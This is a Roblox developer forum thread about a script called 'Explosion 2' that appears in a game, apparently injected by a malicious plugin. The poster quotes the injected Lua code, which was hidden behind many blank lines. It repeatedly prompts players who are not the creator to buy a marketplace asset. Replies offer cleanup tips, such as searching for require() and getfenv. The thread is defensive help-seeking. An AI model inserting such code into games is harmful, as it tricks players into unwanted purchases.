"Explosion 2" Script gets added when playing

Hi!

Yesterday, i made a test place to test the Behavior Trees Editor. (The V2.0 and V3.0)

But, when I run the game, a script called Explosion 2 gets add in the ServerScriptService! I already checked my plugins and removed some of them by a creator I didn´t know.

Here´s the script that gets added (code starts at line 1013 in the script in my place. I made it short here):

Full Script:




















































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































local Market = game:GetService("MarketplaceService")
if not game:GetService("RunService"):IsStudio() then
wait (750)
if #game.Players:GetPlayers() >= 3 then
game:GetService("Players").PlayerAdded:connect(function(plr)
	if plr.UserId ~= game.CreatorId and not Market:PromptPurchase(plr,4368448936) then
	Market:PromptPurchase(plr,4368448936)
	end
	end)
end
end
local Market = game:GetService("MarketplaceService")
if not game:GetService("RunService"):IsStudio() then
wait (750)
if #game.Players:GetPlayers() >= 3 then
game:GetService("Players").PlayerAdded:connect(function(plr)
	if plr.UserId ~= game.CreatorId and not Market:PromptPurchase(plr,4368448936) then
	Market:PromptPurchase(plr,4368448936)
	end
	end)
end
end

Am I the only one with this problem and the script?
I made my Inventory visible for anybody. I already looked through the Plugins but found nothing conspicuous.(Plugins, by groups with famous creator names. for example sleitnick)

Can you give me some tips what to do or you had the problem to and tell me the answer?

Thank you very much! :smiley:

1 Like

If you are certain this script being added is not from a plugin then I would stronly suggest searching through your current game scripts, look for anything using require() or setfenv, getfenv anything like that is usually a sign of a virus or unwanted script if you are not using those functions.

To find these scripts you can use the Find Results option on the View tab, one you have opened that up you can select the binoculars and enter the keyword ‘require’ and then click find all, this will search all of your scripts and if they contain the word require it will show up in the output. Another way is searching ‘script’ in the explorer and it will show all of the scripts. Make sure all of your scripts in your game are either made by you or as a non malicious free model.

I hope this helped :slight_smile:

There is just the start script by my and the ones by the Behaviortrees plugin… but i´ll try it out!
**Edit: I accually found a require script with an empty name. I deleted it, but them, when I played, it was there twice!! Is that comming from a plugin? I also searched for get- and setfenv, but found nothing. **

Search your entire game, workspace, lighting, and all the subfolders too.
I’ve heard some scripts get put into your game in weird locations by plugins and will cause issues like this.